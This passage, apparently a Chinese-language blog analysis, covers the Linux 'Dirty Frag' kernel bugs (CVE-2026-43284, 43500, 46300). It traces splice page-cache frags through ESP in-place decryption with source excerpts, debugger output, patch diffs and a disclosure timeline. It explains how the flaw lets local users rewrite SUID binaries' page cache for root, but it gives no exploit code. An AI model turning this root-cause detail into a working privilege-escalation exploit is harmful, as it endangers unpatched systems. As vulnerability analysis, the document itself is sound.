fixed_percpu_data, outoutentry0xffff8880056bce00, off_outoff_outentry0x0 fixed_percpu_data, lenlenentry40, flagsflagsentry1) at fs/splice.c:1370 #4 0xffffffff8138c559 in __do_sys_splice (flags1, len40, off_out0x0 fixed_percpu_data, fd_outoptimized out, off_in0x0 fixed_percpu_data, fd_inoptimized out) at fs/splice.c:1586 #5 __se_sys_splice (flags1, len40, off_out0, fd_outoptimized out, off_in0, fd_inoptimized out) at fs/splice.c:1568 #6 __x64_sys_splice (regsoptimized out) at fs/splice.c:1568poc是用udp承载数据包udp_sendmsg是udp报文入口在这里先组装ip报文再继续发送/root/qemu/linux-6.6.58/net/ipv4/udp.c: 1059 int udp_sendmsg(struct sock *sk, struct msghdr *msg, size_t len) { skb ip_make_skb(sk, fl4, getfrag, msg, ulen, sizeof(struct udphdr), ipc, rt, cork, msg-msg_flags); // 组装成ip包放到sk中 err PTR_ERR(skb); if (!IS_ERR_OR_NULL(skb)) err udp_send_skb(skb, fl4, cork); // 从这里发送 走到esp_input在组装成ip报文时候flags来自于msg-msg_flags即splice_to_socket: msg.msg_flags MSG_SPLICE_PAGES; // 后面协议栈ip层处理会用到这时将msg中的两个page引用转到到skb-frags中表示有两个片段/root/qemu/linux-6.6.58/net/ipv4/ip_output.c: 951 static int __ip_append_data(struct sock *sk, struct flowi4 *fl4, struct sk_buff_head *queue, struct inet_cork *cork, struct page_frag *pfrag, int getfrag(void *from, char *to, int offset, int len, int odd, struct sk_buff *skb), void *from, int length, int transhdrlen, unsigned int flags) { ...... } else if (flags MSG_SPLICE_PAGES) { struct msghdr *msg from; err -EIO; if (WARN_ON_ONCE(copy msg-msg_iter.count)) goto error; err skb_splice_from_iter(skb, msg-msg_iter, copy, sk-sk_allocation); // iter中的page都将引用转移到skb-frags中经过网络层其他处理之后来到了ipsec的大门esp_input负责调整ipsec报文并将报文交给authencesn模块负责认证和解密在esp_input的一开始skb状态如下两个片段区分别是pipe中传入的esp头 ct和icv两个片段-exec p ((struct skb_shared_info *)0xffff8880047fcc40)-nr_frags $4 2 \002 -exec p ((struct skb_shared_info *)0xffff8880047fcc40)-frags $3 {{bv_page 0xffffea000017cdc0, bv_len 16, bv_offset 1208}, {bv_page 0xffffea000017a9c0, bv_len 16, bv_offset 28}esp_input-pskb_may_pull-__pskb_pull_tail刚开始时会先保证头部位于线性区即会将skb_shinfo(skb)-nr_frags[0]的内容拷贝到线性区中skb_shinfo(skb)-nr_frags[0]所在page就不用了skb_shinfo(skb)-nr_frags还剩下文件的page cache一个片段/root/qemu/linux-6.6.58/net/ipv4/esp4.c: 877 static int esp_input(struct xfrm_state *x, struct sk_buff *skb) // ESP 输入处理入口 — 设置 AEAD 解密请求 { if (!pskb_may_pull(skb, sizeof(struct ip_esp_hdr) ivlen)) // 线性区至少有hdr iv的大小esp_input_set_header会直接使用skb指针指向连续区 goto out;/root/qemu/linux-6.6.58/net/core/skbuff.c 2652 void *__pskb_pull_tail(struct sk_buff *skb, int delta) { /* If skb has not enough free space at tail, get new one * plus 128 bytes for future expansions. If we have enough * room at tail, reallocate without expansion only if skb is cloned. */ int i, k, eat (skb-tail delta) - skb-end; if (eat 0 || skb_cloned(skb)) { if (pskb_expand_head(skb, 0, eat 0 ? eat 128 : 0, GFP_ATOMIC)) return NULL; } BUG_ON(skb_copy_bits(skb, skb_headlen(skb), skb_tail_pointer(skb), delta));接下来会处理esp消息启用esn时将seq_h插入到spi和seq_l之间else if (!skb_has_frag_list(skb))判断之后跳过了cow处理也就是将page chache所在的片段通过err skb_to_sgvec(skb, sg, 0, skb-len);交给了sg现在sg中有两个page分别是skb的连续区(包括esp header ct)和page cache。接下来交给authencesn处理最终触发漏洞。assoclen sizeof(struct ip_esp_hdr); // AAD ESP 头spi seq_no 8字节 seqhilen 0; if (x-props.flags XFRM_STATE_ESN) { // 扩展序列号时 AAD 增加 4 字节 12字节 seqhilen sizeof(__be32); assoclen seqhilen; } if (!skb_cloned(skb)) { if (!skb_is_nonlinear(skb)) { nfrags 1; goto skip_cow; } else if (!skb_has_frag_list(skb)) { // 引发漏洞会走到这里跳过cow修复补丁修复这里 nfrags skb_shinfo(skb)-nr_frags; // page fragment 数量 nfrags; goto skip_cow; } } err skb_cow_data(skb, 0, trailer); if (err 0) goto out; nfrags err; skip_cow: err -ENOMEM; tmp esp_alloc_tmp(aead, nfrags, seqhilen); // 后面一系列操作所需的临时内存 if (!tmp) goto out; ESP_SKB_CB(skb)-tmp tmp; // ((struct esp_skb_cb *)((__skb)-cb[0]))-tmp tmp; seqhi esp_tmp_extra(tmp); // seqhi tmp iv esp_tmp_iv(aead, tmp, seqhilen); // iv tmp 4 req esp_tmp_req(aead, iv); // req align(iv crypto_aead_ivsize(aead)) sg esp_req_sg(aead, req); // sg align(req crypto_aead_reqsize(aead)) esp_input_set_header(skb, seqhi); // esp时修改报文spi sn_l之间插入sn_h原来提前的值保存到seqhiesp_input_restore_header中恢复 sg_init_table(sg, nfrags); err skb_to_sgvec(skb, sg, 0, skb-len); // 将skb数据(包括线性区和frag)引用到 scatterlist if (unlikely(err 0)) { kfree(tmp); goto out; } skb-ip_summed CHECKSUM_NONE; if ((x-props.flags XFRM_STATE_ESN)) aead_request_set_callback(req, 0, esp_input_done_esn, skb); // 恢复header的回调 else aead_request_set_callback(req, 0, esp_input_done, skb); aead_request_set_crypt(req, sg, sg, elen ivlen, iv); // req-src/dst 都是sg原地优化 aead_request_set_ad(req, assoclen); // req-assoclen assoclen; 设置 AAD 长度 12 err crypto_aead_decrypt(req); if (err -EINPROGRESS) goto out; if ((x-props.flags XFRM_STATE_ESN)) esp_input_restore_header(skb); // 恢复修改的报文 err esp_input_done2(skb, err); out: return err; }补丁补丁xfrm: esp: avoid in-place decrypt on shared skb frags修改了两处地方一处是__ip_append_data路径中添加SKBFL_SHARED_FRAG__ip_append_datadiff --git a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c index e4790cc7b5c2..5bcd73cbdb41 100644 --- a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c -1233,6 1233,8 static int __ip_append_data(struct sock *sk, if (err 0) goto error; copy err; if (!(flags MSG_NO_SHARED_FRAGS)) skb_shinfo(skb)-flags | SKBFL_SHARED_FRAG; wmem_alloc_delta copy; } else if (!zc) { int i skb_shinfo(skb)-nr_frags;SKBFL_SHARED_FRAGflag是已经存在的flag标记skb中的page是来自于splice这样类似的系统调用sendfile现在也是用的splice/root/qemu/linux-6.6.58/include/linux/skbuff.h: 506 /* This indicates at least one fragment might be overwritten * (as in vmsplice(), sendfile() ...) * If we need to compute a TX checksum, well need to copy * all frags to avoid possible bad checksum */ SKBFL_SHARED_FRAG BIT(1),这里相当于补齐了原本ip数据包处理时应该有的逻辑来自splice引入的flag给skb_shinfo(skb)-flags添上SKBFL_SHARED_FRAGflag/root/qemu/linux-6.6.58/net/ipv4/ip_output.c: 951 static int __ip_append_data(struct sock *sk, struct flowi4 *fl4, struct sk_buff_head *queue, struct inet_cork *cork, struct page_frag *pfrag, int getfrag(void *from, char *to, int offset, int len, int odd, struct sk_buff *skb), void *from, int length, int transhdrlen, unsigned int flags) { ...... } else if (flags MSG_SPLICE_PAGES) { struct msghdr *msg from; err -EIO; if (WARN_ON_ONCE(copy msg-msg_iter.count)) goto error; err skb_splice_from_iter(skb, msg-msg_iter, copy, sk-sk_allocation); // iter中的page都将引用转移到skb-frags中 if (!(flags MSG_NO_SHARED_FRAGS)) skb_shinfo(skb)-flags | SKBFL_SHARED_FRAG; // ((struct skb_shared_info*)(skb-head skb-end))-flags | SKBFL_SHARED_FRAGSKBFL_SHARED_FRAG 标记影响skb的所有frag不是每个frag的私有flag内核这样做的逻辑是只让一个是shared就所有都要cow简化操作。这里的补齐也和其他几个关联CVE有关后面会介绍到esp_input在上面添加好SKBFL_SHARED_FRAG之后esp_input处理ipsec报文时就会不跳过COW复制报文对复制后的报文进行处理diff --git a/net/ipv4/esp4.c b/net/ipv4/esp4.c index 6dfc0bcdef65..6a5febbdbee4 100644 --- a/net/ipv4/esp4.c b/net/ipv4/esp4.c -873,7 873,8 static int esp_input(struct xfrm_state *x, struct sk_buff *skb) nfrags 1; goto skip_cow; - } else if (!skb_has_frag_list(skb)) { // 引发漏洞会走到这里跳过cow修复补丁修复这里 } else if (!skb_has_frag_list(skb) !skb_has_shared_frag(skb)) { // 现在有SKBFL_SHARED_FRAG后不会跳过cow步骤了 nfrags skb_shinfo(skb)-nr_frags; // page fragment 数量 nfrags; goto skip_cow; } } err skb_cow_data(skb, 0, trailer); // 现在会把frag中的消息拷贝到连续区了 if (err 0) goto out; nfrags err; skip_cow: err -ENOMEM; tmp esp_alloc_tmp(aead, nfrags, seqhilen); // 后面一系列操作所需的临时内存 ...... sg_init_table(sg, nfrags); err skb_to_sgvec(skb, sg, 0, skb-len); // 将skb数据(包括线性区和frag)引用到 scatterliststatic inline bool skb_has_shared_frag(const struct sk_buff *skb) { return skb_is_nonlinear(skb) skb_shinfo(skb)-flags SKBFL_SHARED_FRAG;skb_cow_data-__pskb_pull_tail会将剩余的片段全部拷贝到连续区中/root/qemu/linux-6.6.58/net/core/skbuff.c: 5020 int skb_cow_data(struct sk_buff *skb, int tailbits, struct sk_buff **trailer) { if ((skb_cloned(skb) || skb_shinfo(skb)-nr_frags) !__pskb_pull_tail(skb, __skb_pagelen(skb))) return -ENOMEM;这样icv放到了连续区后续的sg_init_table(sg, nfrags);只有一个page即连续区的page由于本次漏洞收到的影响来自于splice引入的skb_shinfo(skb)-frags故得名dirty frag后面几个CVE都和本次修复有联系CVE-2026-43500rxrpc 模块是其中的 RxRPC 协议实现用于支持远程过程调用。受影响版本中rxrpc_input_call_event() 函数和 rxrpc_verify_response() 函数在处理 DATA/RESPONSE 数据包时仅检查 skb_cloned(skb) 条件来判断是否需要复制 skb。但未克隆但仍携带外部拥有的分页片段通过 splice() 设置 SKBFL_SHARED_FRAG 或链式 skb_has_frag_list()的 skb 会绕过检查直接进入原地解密路径通过 skb_to_sgvec() 将外部 frag 页面绑定到 AEAD/skcipher SGL可能导致敏感数据泄露或内存损坏。修复版本中通过在判断条件中增加 skb_has_frag_list(skb) || skb_has_shared_frag(skb) 检查确保在 skb 携带外部共享片段时也执行 unshare 操作避免在原地解密过程中访问外部共享的内存页面。rxrpc: Also unshare DATA/RESPONSE packets when paged frags are presentdiff --git a/net/rxrpc/call_event.c b/net/rxrpc/call_event.c index fdd683261226c..2b19b252225e5 100644 --- a/net/rxrpc/call_event.c b/net/rxrpc/call_event.c -334,7 334,9 bool rxrpc_input_call_event(struct rxrpc_call *call) if (sp-hdr.type RXRPC_PACKET_TYPE_DATA sp-hdr.securityIndex ! 0 - skb_cloned(skb)) { (skb_cloned(skb) || skb_has_frag_list(skb) || skb_has_shared_frag(skb))) { /* Unshare the packet so that it can be * modified by in-place decryption. */这个漏洞也是因为splice将page cache引入skb-frag中后再被原地优化引入到加密子系统中加密子系统原地读写造成的在CVE-2026-43284的补丁上半部位于__ip_append_data中当时来自splice引入的msg补充到skb中时添加了SKBFL_SHARED_FRAG后rxrpc模块内也做相应的处理继续cow即可修复方案和CVE-2026-43284下半部分在esp_input中的处理如出一辙。CVE-2026-46300net/core/skbuff.c 的 skb_try_coalesce() 函数在转移分页 fragment 时未将 SKBFL_SHARED_FRAG 标志同步传播至目标 skb_shinfo-flags缺陷自 2013 年提交 cef401de7be8 起潜伏。Linux 5.1 引入 espintcp 模块后该缺陷获得可利用的触发路径XFRM ESP-in-TCP 接收路径因 skb_has_shared_frag() 返回错误的 false绕过 skb_cow_data() 写时复制保护对 page cache 映射页面执行 AES-GCM 原地解密将密钥流字节 XOR 写入只读文件的内核页缓存非特权本地用户可借此将 SUID 可执行文件的页缓存副本替换为恶意载荷完成本地提权至 root。net: skbuff: preserve shared-frag marker during coalescingdiff --git a/net/core/skbuff.c b/net/core/skbuff.c index 7dad68e3b5186..9c4e8d331d6db 100644 --- a/net/core/skbuff.c b/net/core/skbuff.c -6200,6 6200,8 bool skb_try_coalesce(struct sk_buff *to, struct sk_buff *from, from_shinfo-frags, from_shinfo-nr_frags * sizeof(skb_frag_t)); to_shinfo-nr_frags from_shinfo-nr_frags; if (from_shinfo-nr_frags) to_shinfo-flags | from_shinfo-flags SKBFL_SHARED_FRAG; if (!skb_cloned(from)) from_shinfo-nr_frags 0;CVE-2026-43500的补丁内容和CVE-2026-43284补丁的下半部分高度相似而这个CVE-2026-46300和CVE-2026-43284的上半部分高度相似skb_try_coalesce函数作用于把from包和to包合并合并的过程中把from的SKBFL_SHARED_FRAGflag继承到to中补齐CVE-2026-43284遗漏的合并报文处理。在CVE-2026-31431利用af_alg - authencesn(ipsec的一个功能子集)的基础上CVE-2026-43284完整利用了ipsec协议再度发现漏洞CVE-2026-43500、CVE-2026-46300又在CVE-2026-43284之上继续发现类似漏洞。。。总结flowchart LR A[splice 零拷贝br将文件 page cachebr引入 pipe buffer] -- B[splice pipe→socketbrMSG_SPLICE_PAGESbr进入 skb-frags] B -- C[skb_splice_from_iterbr添加 page 到 frags] C -- D[skb_shinfo-flagsbr缺失 SKBFL_SHARED_FRAG] D -- E[esp_input / rxrpc / skb_try_coalescebr认为 frags 是私有内存] E -- F[skb_to_sgvec → cryptobr原地解密br直接写入 page cache] F -- G[文件内存被改br磁盘未变]三环相扣CVE-2026-43284 上半部ip_output.c补齐 splice 路径中SKBFL_SHARED_FRAG标记的缺失——来自sendfile/vmsplice的 page 被直接放入 skb-frags但没有通知后续处理者这些 page 可能被外部篡改CVE-2026-43284 下半部esp4.c有了标记后ESP 路径的skb_cow_data条件检查!skb_has_shared_frag(skb)命中后强制 copy避免原地解密写入 page cacheCVE-2026-43500rxrpc/call_event.cRxRPC 的 DATA/RESPONSE 解密路径有同样的绕过问题修复模式与 esp4.c 如出一辙——在skb_cloned检查旁增加skb_has_shared_frag检查CVE-2026-46300skbuff.cskb_try_coalesce合并 skb 时未传播SKBFL_SHARED_FRAG标记导致被合并的 skb 丢失 shared 属性ESP-in-TCP 作为新的触发入口Copy Fail (CVE-2026-31431) ── AF_ALG splice 原地解密 → 写 page cache Dirty Frag (CVE-2026-43284 等三个) ── 协议栈 splice 原地解密 → 写 page cache前车之鉴后事之师漏洞纰漏流程2026-04-30: 向 securitykernel.org 提交了关于 esp 漏洞的详细信息以及一个可在多个主要发行版上获取 root 权限的武器化利用程序。2026-04-30: 向 netdev 邮件列表提交了 esp 漏洞的补丁。该问题的信息已公开发布。2026-04-30 (9h): Kuan-Ting Chen 向 securitykernel.org 提交了 esp 漏洞的报告并附带了一个复现程序。2026-05-04: Kuan-Ting Chen 向 netdev 邮件列表提交了 shared-frag 方法补丁。2026-05-07: 补丁已合并到 netdev 树中。2026-05-07: 向 linux-distros 邮件列表提交了关于漏洞和利用程序的详细信息。设置了 5 天的禁运期并达成协议如果第三方在禁运期内将利用程序发布到互联网上Dirty Frag 的利用程序将公开发布。2026-05-07: 详细信息和该漏洞的利用程序被一个无关的第三方公开发布打破了禁令。2026-05-07在获得分发维护者的同意后完全公开了 Dirty Frag并发布了整个 Dirty Frag 文档。2026-05-08: 补丁 f4c50a4034e6 已合并到主线。2026-05-08: 该漏洞被分配了 CVE-2026-43284 编号。内核社区文档“Any exploit code is very helpful and will not be released without consent from the reporter unless it has already been made public.”任何漏洞利用代码都很有帮助未经报告者同意不得发布除非它已经公开。Documentation/process/security-bugs.rst该CVE向 securitykernel.org 提交了 esp 漏洞的报告并附带了一个复现程序导致这个CVE在社区处理、获得CVE编号前被武器化使用。参考Github V4bel/dirtyfragxfrm: esp: avoid in-place decrypt on shared skb frags阿里云漏洞库 Linux kernel xfrm-ESP Dirty Frag 本地提权漏洞CVE-2026-43284CVE-2026-31431 Copy Fail 漏洞分析 --通往地狱的道路充满了善意 .mdDocumentation/process/security-bugs.rst阿里云漏洞库 Linux Kernel Fragnesia 本地权限提升漏洞(CVE-2026-46300)阿里云漏洞库 Linux kernel rxrpc模块skb共享碎片处理漏洞(CVE-2026-43500)bilibili 精彩网络技术 10.4 IPSec基本概念、IKE协议rfc4303: IP Encapsulating Security Payload (ESP)